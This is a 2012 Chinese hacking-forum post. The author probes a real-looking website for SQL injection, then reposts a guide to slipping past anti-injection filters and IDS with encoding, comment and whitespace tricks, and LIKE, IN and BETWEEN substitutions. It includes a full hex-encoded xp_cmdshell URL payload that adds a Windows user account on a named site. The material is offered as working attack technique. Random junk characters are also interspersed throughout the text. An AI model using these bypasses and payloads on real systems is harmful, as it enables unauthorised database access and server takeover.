找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2205|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下.
" s, g: h9 K  R( p8 d: o1 ?1 ^http://www.xxx.cn/Article.asp?ID=117 and 1=1
4 K* W5 U; m. p) m6 T7 s3 s直接返回主页
* ~, v; D. L+ i, ahttp://www.xxx.cn/Article.asp?ID=117 or 1=1
$ Q' B8 O$ U% Z: s* ~/ H直接返回主页& `  |+ x( ~  F! v) f
http://www.xxx.cn/Article.asp?ID=117 or* j# n4 X2 L9 B5 @7 [9 D
没有返回主页 没有过滤or: p- [0 \, x% u- P8 N8 \3 I/ {
http://www.xxx.cn/Article.asp?ID=117 and
/ K  X4 C2 L# `7 u1 Y直接返回主页 看来过滤了and
0 B8 V4 R$ x# M$ F4 ~3 ahttp://www.xxx.cn/Article.asp?ID=117 or 10 o- @3 `" c- s6 W  V
没有返回主页 即没有过滤or 也没有过滤1$ B4 ?5 t2 q, Y2 T) V/ D# o
http://www.xxx.cn/Article.asp?ID=117 or 1=1
" ~( |' q4 ]% ]( {. W1 w. [' h直接返回主页 很明显过滤了等号 6 L# o$ {; m  ^+ ?3 D
or的特性是与and相反的.$ R# Q8 [# z7 p: o9 y2 C% F  `! m
or 1=1 爆错 或与原页面不同
) g/ M+ N/ B1 R" ?or 1=2 原页面相同
; W9 M3 o3 E3 ^$ v8 |这样就是一个注入点- h! Q: K: Q: n- f4 y  w) U
但他过滤了=号 我就用><号代替=号吧!) M  J1 t& \  t1 j& B  O1 O
or 1<2 很明显是正确的,所以应该与原页面不同1 c& h+ Z3 p; A3 q* Y1 w
or 1>2 很明显是错误的,所以应该与原页面相同# \9 U$ P- C6 C5 L
然后看看有没有过滤其他的查询语句,比如select.4 }0 h0 R4 l; O! I
http://www.xxx.cn/Article.asp?ID=117 select* y" T3 F4 T# H" C# [. W  |, P
直接返回主页+ ~- U6 h& Y: a, O
又迷茫了..
: h( x4 A3 n2 G% U* u: `" P
% K) k0 r9 P7 s/ {: z- o, a9 n7 w9 D/ A' G- G2 A
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
( L% H2 b& H  ~/ n, B+ d这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)2 `8 }  K7 Y, P! p8 Z
================================================2 {& d9 N# y" ?( g# s3 M
以下是转贴:
3 x: p- M! p7 A# r
3 Q8 F# P0 c6 Q( x突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
+ X  Y0 Y0 w# h8 c0 B. p经过我的收集,大部分的防注入程序都过滤了以下关键字: 4 H6 z+ Z( \$ K( S7 N: D
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = % I( \! F% c: k
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
. f5 g4 D# Q' d" [( h" o对于关键字的过滤,以下是我收集的以及我个人的一些想法。
- D" z, D2 H+ A: `1 {) a9 \" S1、运用编码技术绕过
2 r) m9 ]3 }! I/ F. H如URLEncode编码,ASCII编码绕过。例如or 1=1即
& K1 m1 [: I# o1 O%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
6 S0 D7 g! i, f' `+ n3 c
- w5 V' U& K& M! u  e1 W8 b9 F# F: K2、通过空格绕过
+ I9 v# a4 P' S% _$ J9 E$ @如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
" e) l5 a0 j3 M4 u# nor’ swords’ =‘swords’   t  B. q. {7 ^( Z
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
$ P* \' ^& M7 b; ]/ p( y! G' ?" L3、运用字符串判断代替
' z6 @! I# Y+ n+ }用经典的or 1=1判断绕过,如 : J  {, _' A+ S5 H
or ’swords’ =’swords’ % v  p; i( a; n1 a: t  r2 Y5 C3 N/ q7 y
,这个方法就是网上在讨论的。
: I; A6 P( e' Z- S# e) Q4、通过类型转换修饰符N绕过 % R9 f5 b' W6 @3 k. x, B  Z) q+ B5 X
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
' W! q3 w4 B5 Z5、通过+号拆解字符串绕过 ! D: U0 t% y0 q
效果值得考证,但毕竟是一种方法。如   L9 [! L! ]0 T5 w1 M4 F
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
4 r2 X- W6 W7 n" c8 k. @& t: ^. ~$ V2 E5 |! b* _
6、通过LIKE绕过
6 N( G0 M8 F/ s3 ^" O4 ~以前怎么就没想到呢?如or 3 o9 g( ^3 M# }5 }) u
’swords’ LIKE ’sw’
6 y8 J0 V/ m# o3 u' ~! G' Y$ H1 t6 E!!!显然可以很轻松的绕过 8 t/ Y8 ^0 _- v) D- R2 A
“=”“>”
  R7 `) O; n6 |  D* q的限制……
& y) _8 _+ S1 y& U4 A7、通过IN绕过 0 n5 b, F, q: E* H5 l3 e
与上面的LIKE的思路差不多,如
6 @) p) O/ j. p. ]4 P: r  j5 }or ’swords’ IN (’swords’) * u/ }, A1 w* @  R

: k/ r/ c$ z: V, W, _; v9 Y3 h8、通过BETWEEN绕过 * f$ H- i7 l: F5 A2 ]
  j  m3 s9 F/ I, `( k' w
or ’swords’ BETWEEN ’rw’ AND ’tw’
5 L6 k- s9 [' X5 w5 u
( a9 }* k+ I/ A, c' q0 m3 c9、通过>或者<绕过
2 r8 K8 E6 A9 k& ^or ’swords’ > ’sw’
  R; [. u( b- G& l( Eor ’swords’ < ’tw’
- m1 P: ~" o9 g8 s4 g7 Qor 1<3
% }0 v- b. w, w% l8 B…… & @. C) N. @0 I, @% k" `# H
10、运用注释语句绕过
% j/ ^! W. z# \9 e9 X1 L, d  S用/**/代替空格,如:
+ _8 ?: {, I4 A; d: }0 w1 TUNION /**/ Select /**/user,pwd,from tbluser
& t, A" b2 z) r5 l% T" b7 ~& x# Z5 D6 L
用/**/分割敏感词,如:
7 s( }' o- n8 q  j! \U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
3 I# F2 y8 y/ c- R6 }
, n' u0 q+ W! O11、用HEX绕过,一般的IDS都无法检测出来 5 s4 a3 c+ k5 ~, G
0x730079007300610064006D0069006E00 =hex(sysadmin)
- D% ~  z0 U( p2 @! S0x640062005F006F0077006E0065007200 =hex(db_owner) " T/ K: N. \, d# G' d0 K" K$ T
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: * t1 R; R8 @3 l* w
  declare @a sysname
% a' N/ D% Y% @" r) d( ~7 a1 O  Z  select @a=   U& ]: U. Q- H+ [$ L1 W: j9 K
  exec master.dbo.xp_cmdshell @a
6 e" g: }3 M" @( E  N) f# R8 V  U效果
  S7 V" G  _# [: ^. B  \. h2 Phttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- ' [) V2 z4 p' `

5 J5 n( {" g# g9 H其中的
* X1 }5 v/ @+ n0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 " I% B- j. z* w/ _' {7 ?' E
就是 . \1 |  T6 E; B
“net user angel pass /add”
$ `3 g1 y5 H( s2 i( F8 O- S7 g* t$ l& t) @
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
4 d8 \6 L6 y) I; _- m8 u& e4 `引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。7 S' b7 h- f$ b! g
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
  N9 r9 D% g; p4 F% W8 `Copy code, V# G' s0 A! Z" g. L
select * from table exec xp_cmdshell'xxxxxxxxxx'
  X4 \0 V' L4 h' B' M6 W# z# t! B5 ?, d+ c2 ^" B, }. k

! r! Q+ `; F6 c% Hselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'
/ c, v( C9 b* U3 b! V1 ^) x4 u
" P$ |" g' P4 F, v# M
$ v7 f$ t- S! Sselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
6 g+ e4 }1 `$ r9 N- v
0 t9 V5 C# o  ?! w: K
/ ~5 S! s# r) V% A% P: m; o! kselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
' ~: a! o" Z( l. t4 @
$ v- C3 b7 D$ g9 c的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
6 y: ~" Y5 x6 i' x8 W
7 R  A2 H+ _5 [* h& k8 `5 j这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
2 e) l9 R% t  h; E- Q可能大家早就知道了,不管怎么说,发在这里吧!9 w& U& n7 h1 p/ F/ {1 k
, w  w& F) T6 ^1 }
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。' c( u: E/ x$ L; F  E5 p" |
. s) f/ a% w7 ^
3 ]+ H6 i6 V+ ]) [

" b, N) w0 h4 i9 ?; R9 E对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
& {7 s6 C7 L& ^2 r比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
/ e- a, K1 g% `- j) \. Z- `/ O7 M# e- o8 r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表